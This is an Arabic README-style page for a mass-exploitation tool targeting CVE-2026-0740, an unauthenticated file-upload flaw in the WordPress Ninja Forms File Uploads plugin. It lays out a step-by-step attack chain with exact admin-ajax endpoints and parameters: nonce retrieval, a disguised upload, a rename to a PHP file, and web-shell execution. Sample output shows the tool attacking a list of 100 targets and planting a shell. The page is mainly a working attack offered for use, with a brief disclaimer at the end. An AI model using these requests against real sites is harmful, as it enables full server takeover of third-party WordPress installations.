
أداة استغلال جماعي آلية لثغرة CVE-2026-0740، وهي رفع ملفات تعسفي دون مصادقة في إضافة Ninja Forms File Uploads، مما يتيح تنفيذ الأكواد عن بُعد عبر عمليات رفع مُصمّمة خصيصًا.
إن إضافة Ninja Forms - File Uploads الخاصة بووردبريس معرضة لرفع ملفات تعسفي غير مصادق عليه بسبب عدم التحقق من نوع الملف وعدم وجود فحوصات للصلاحيات في الدالة 'NF_FU_AJAX_Controllers_Uploads::handle_upload' في جميع الإصدارات حتى 3.3.26 وما يشملها.
يسمح هذا الخلل للمهاجمين غير المصادقين بـ:
~ درجة CVSS: 9.8 (حرجة)
~ الإصدارات المتأثرة: <= 3.3.26
الخطوة 1: الحصول على Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
البيانات: action=nf_fu_get_new_nonce&field_id=7&form_id=7
الاستجابة: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
الخطوة 2: رفع ملف مقنّع + إعادة تسميته إلى PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
البيانات:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (امتداد مسموح به)
- doc_pdf=shadow.php (هدف إعادة التسمية)
│
▼
الخطوة 3: الخادم يخزّن الملف الخبيث
─────────────────────────────────────
الموقع: /wp-content/uploads/ninja-forms/tmp/shadow.php
المحتوى: شيل PHP (رافع / ويب شيل)
│
▼
الخطوة 4: تنفيذ الملف المرفوع
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ تنفيذ الويب شيل
→ السيطرة الكاملة على الخادم
- استنتاجات من التجارب الميدانية:
1. نقطة النهاية `nf_fu_get_new_nonce` تُرجع nonce صالحًا دون التحقق من وجود الحقل
→ لا يوجد تحقق من معاملات `field_id` و `form_id` (أي معرّف عشوائي يعمل)
2. خلل منطقي حرج في وظيفة إعادة التسمية
→ الإضافة تقبل اسم ملف يوفّره المستخدم عبر معامل POST
→ لا يوجد تحقق من الامتداد النهائي للملف بعد إعادة التسمية
3. الملف المرفوع يُخزَّن مباشرة في دليل يمكن الوصول إليه عبر الويب
→ /wp-content/uploads/ninja-forms/tmp/
4. مالك هذه الأداة وسيم جدًا
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ عرض الاستجابة الكاملة
[+] تم تحميل 100 هدف
[1/100]
😈 [FRISKA RESEARCHER] هجوم على: https://example.com
[*] جاري الحصول على nonce...
[*] حالة HTTP: 400
[*] الاستجابة: 0
[-] خطأ HTTP: 400
[2/100]
😈 [FRISKA RESEARCHER] هجوم على: https://www.test.com
[*] جاري الحصول على nonce...
[*] حالة HTTP: 200
[*] الاستجابة: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] جاري رفع الشيل...
[*] استجابة الرفع: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 رافع الشيل: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
الاستخدام غير المصرح به للأنظمة التي لا تملكها أو ليس لديك إذن لاختبارها يعد غير قانوني.